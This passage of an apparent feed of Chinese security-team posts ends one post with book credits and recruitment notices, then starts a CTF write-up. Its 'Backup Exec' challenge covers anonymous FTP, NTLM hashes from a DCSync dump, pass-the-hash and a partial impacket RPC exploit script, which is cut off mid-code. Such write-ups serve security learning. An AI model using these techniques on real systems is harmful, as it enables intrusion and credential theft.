0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">三大运营商公司级红队与项目交付场景中持续运行</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">国内期货交易所下属安全公司的实战项目交付中落地验证</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">SecAutoBan</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">私有化部署已超过 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2,000+</span></strong></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">关联分析与去噪：动作基于证据与策略，而不是基于“告警数量”</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">自动封禁 + 自动解禁：完整闭环，避免“一封了之”的副作用</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">全链路审计与可回滚：每次处置都有依据、记录与回滚路径</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">幂等与容错优先：面向长期稳定运行，而不是复杂流程堆叠</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">团队书</span></span></h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="1080" style="width: 401px;height: auto !important;" type="block" data-imgfileid="100030492" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9cadf6d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2PFyPYcFzoRVLZngESp4S6BG1G1kJGmkjJVcR60fqz9ORFyia0lIQp82XFVl6oXWa4ibSIvy75AQT57TjfwBHHsDtEJgmphTpgYE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025年机械工业出版社合作伙伴“共生奖”</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">2025年新书</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">《物联网漏洞挖掘与利用》</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">感谢参与本书编辑的Vinadiak(叶振涛) 、fxc233(费新程)、天气预报 (唐君毅)、春秋代序、ZoE、ana、Gir@ffe (李俊岑)、满眼星光、we8 (闫俊)。</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">《汽车网络安全工程手册》</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">感谢参与本书编辑的badmonkey（侯荣锋）、xyzper（曲毅）、Licae（卢太学）、Vinadiak（叶振涛）。</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">《红队实战指南：AI驱动的渗透测试、红队评估和漏洞挖掘》</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">感谢参与本书编辑的L1n3 (袁伟)、bayuncao (宁宇飞)、Z师傅、张澳海、T师傅。</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">过审中</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">《Armv8-A系统逆向工程》</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">感谢参与本书编辑的刘明嘉、山成伟、吴瑞欣、胡志元。</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">《智能持续安全：基于人工智能的安全防护》</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">感谢参与本书编辑的Moonfish、Medicean、从前有座山、IT小丑、Trim。</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">编写中</span></p><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">《MCP进阶实战》</span></p><p><mp-common-cpsad data-templateid="list" data-traceid="b50b5ba9-0a31-451f-8446-4213c3ccd467" data-goodssouce="1" data-pid="101_10078191462360" data-appuin="undefined" data-cpsversion="test/20241128_feat_click_message" class="custom_select_card_background mp_product_iframe mp_common_widget"></mp-common-cpsad></p><p><mp-common-cpsad data-templateid="list" data-traceid="8d1d5493-d06b-434a-86ec-6cb7fcd12f39" data-goodssouce="1" data-pid="107_29948723" data-appuin="undefined" data-cpsversion="test/20241128_feat_click_message" class="custom_select_card_background mp_product_iframe mp_common_widget"></mp-common-cpsad></p><p><mp-common-cpsad data-templateid="list" data-traceid="0552d50a-bed2-462c-bc46-407bf60ece24" data-goodssouce="1" data-pid="107_29934331" data-appuin="undefined" data-cpsversion="test/20241128_feat_click_message" class="custom_select_card_background mp_product_iframe mp_common_widget"></mp-common-cpsad></p><p><mp-common-cpsad data-templateid="list" data-traceid="a5cce120-ed9b-4aff-aa08-ac22550cecae" data-goodssouce="1" data-pid="101_10208658413660" data-appuin="undefined" data-cpsversion="test/20241128_feat_click_message" class="custom_select_card_background mp_product_iframe mp_common_widget"></mp-common-cpsad></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">      Mini-Venom加入条件: 欢迎大二以下/大二以上但有考研打算/已保研的同学（总的来说就是可以保证比赛时间）投递简历！请尽可能详细介绍自己，以加入对应的组哦。申请接收邮箱：admin@chamd5.org</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">最后大家喜欢的福利抽奖啦！</span><span leaf=""><br/></span><span leaf="">我们仅需要你：</span><span leaf=""><br/></span><span leaf="">1.关注ChaMd5安全团队公众号</span><span leaf=""><br/></span><span leaf="">2.于2026.2.16早上8点之前转发本条推文至朋友圈（凭转发截图兑奖，开奖前删除无效）</span><span leaf=""><br/></span><span leaf="">3.点击抽奖小程序进行抽奖</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="2.5175925925925924" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100030487" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f3357100&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2NQeyjjVsLkWCtYdwib6nUZPhib1IovYbDgTWbPC6fhCia88GaIFqoOfwm0VjlmLRVxUPVTMxHS6rEUPT1UkYlXkrbwnPm8MoJlTU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5a637003&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514142%26idx%3D1%26sn%3Ddab194352f4ebe82c48765b1120b0f9f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 Feb 2026 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>2026阿里CTF Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514133&amp;idx=1&amp;sn=70af1a49043919abd9433ed78b64c1ce</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2026-02-04 08:03</span> <span style="display: inline-block;">吉林</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e53666b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5N40cYLUtpJhzVt4r8eIX2wqUOkJoZ0Hia8F0lzjnFPIIIdI2tYZIFiaNQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.35185185185185186" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030482" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=aed2b3ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NZFAE9JibHjcbLVTibqUrlrkGU48kWskRwemALMXDzkXyLGicKA8DcDVCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Web:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Backup Exec</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">信息收集：通过FTP匿名访问（端口21），在 microsoft/results.txt 发现了攻击者之前使用mimikatz进行DCSync攻击导出的凭据</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">凭据提取：从DCSync输出中提取了多个服务账户的NTLM哈希，包括：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">svc_patching: 6047e67e4d35700cb437664b02615f29</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">svc_fileshare: 02c5257056442b3ba003fbe6c228b95b (Server Backup Operators组成员)</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">svc_dbbackup: eb2c652c8e8bfeed348d66ffa98be0d1</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">二进制分析：逆向分析 BEFileDaemon.exe 发现：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">RPC接口UUID: 62e00289-44bd-497b-b85f-bc340fbcc2b0 v1.0</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">端口: 62831</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">授权检查：需要 IT-BackupAdmins 组成员 (SID: S-1-5-21-3223156632-3195994233-1317593892-1624)</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">需要PKT_PRIVACY认证等级</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">数据使用16字节XOR密钥加密</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">利用：使用 svc_fileshare 账户通过Pass-the-Hash认证，调用RPC接口读取管理员桌面的flag.txt文件</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3648148148148148" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030462" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=018eaed6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5Nq7FziarKKhWm4pYyf5XHM1qEhnwefLjNsWocGjyq4oQDqoafFtBFsDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python3</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">Backup Exec RPC Exploit - Raw Request Version</span><span leaf=""><br/></span><span leaf="">&#34;&#34;&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> impacket </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> uuid</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">from</span></span><span leaf=""> impacket.dcerpc.v5 </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> transport, rpcrt</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># XOR Key for decryption</span></span><span leaf=""><br/></span><span leaf="">XOR_KEY = bytes([</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x2a</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x7f</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xc3</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x91</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x5e</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x34</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x8b</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x19</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xd2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x67</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xf4</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x28</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xab</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x76</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x43</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x9d</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">xor_decrypt</span></span><span style="line-height: 26px;"><span leaf="">(data)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    result = bytearray(len(data))</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(data)):</span><span leaf=""><br/></span><span leaf="">        result[i] = data[i] ^ XOR_KEY[i % </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(result)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">build_open_file_request</span></span><span style="line-height: 26px;"><span leaf="">(filepath)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;Build raw NDR request for OpenRemoteFile&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># WSTR is: max_count (4) + offset (4) + actual_count (4) + data (unicode)</span></span><span leaf=""><br/></span><span leaf="">    filepath_unicode = filepath.encode(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;utf-16-le&#39;</span></span><span leaf="">) + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#39;\x00\x00&#39;</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># null terminated</span></span><span leaf=""><br/></span><span leaf="">    char_count = len(filepath) + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># include null terminator</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Conformant varying string: max_count, offset, actual_count, data</span></span><span leaf=""><br/></span><span leaf="">    request = struct.pack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, char_count)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># max_count</span></span><span leaf=""><br/></span><span leaf="">    request += struct.pack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">)           </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># offset</span></span><span leaf=""><br/></span><span leaf="">    request += struct.pack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, char_count)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># actual_count</span></span><span leaf=""><br/></span><span leaf="">    request += filepath_unicode</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Pad to 4-byte boundary</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> len(request) % </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""> != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        request += </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> request</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">build_read_file_request</span></span><span style="line-height: 26px;"><span leaf="">(file_handle, offset, bytes_to_read)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;Build raw NDR request for ReadFileData&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Context handle (20 bytes) + ulOffset (4) + ulBytesToRead (4)</span></span><span leaf=""><br/></span><span leaf="">    request = file_handle  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 20 bytes context handle</span></span><span leaf=""><br/></span><span leaf="">    request += struct.pack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, offset)</span><span leaf=""><br/></span><span leaf="">    request += struct.pack(</span><span style="color: rgb(152, 195, 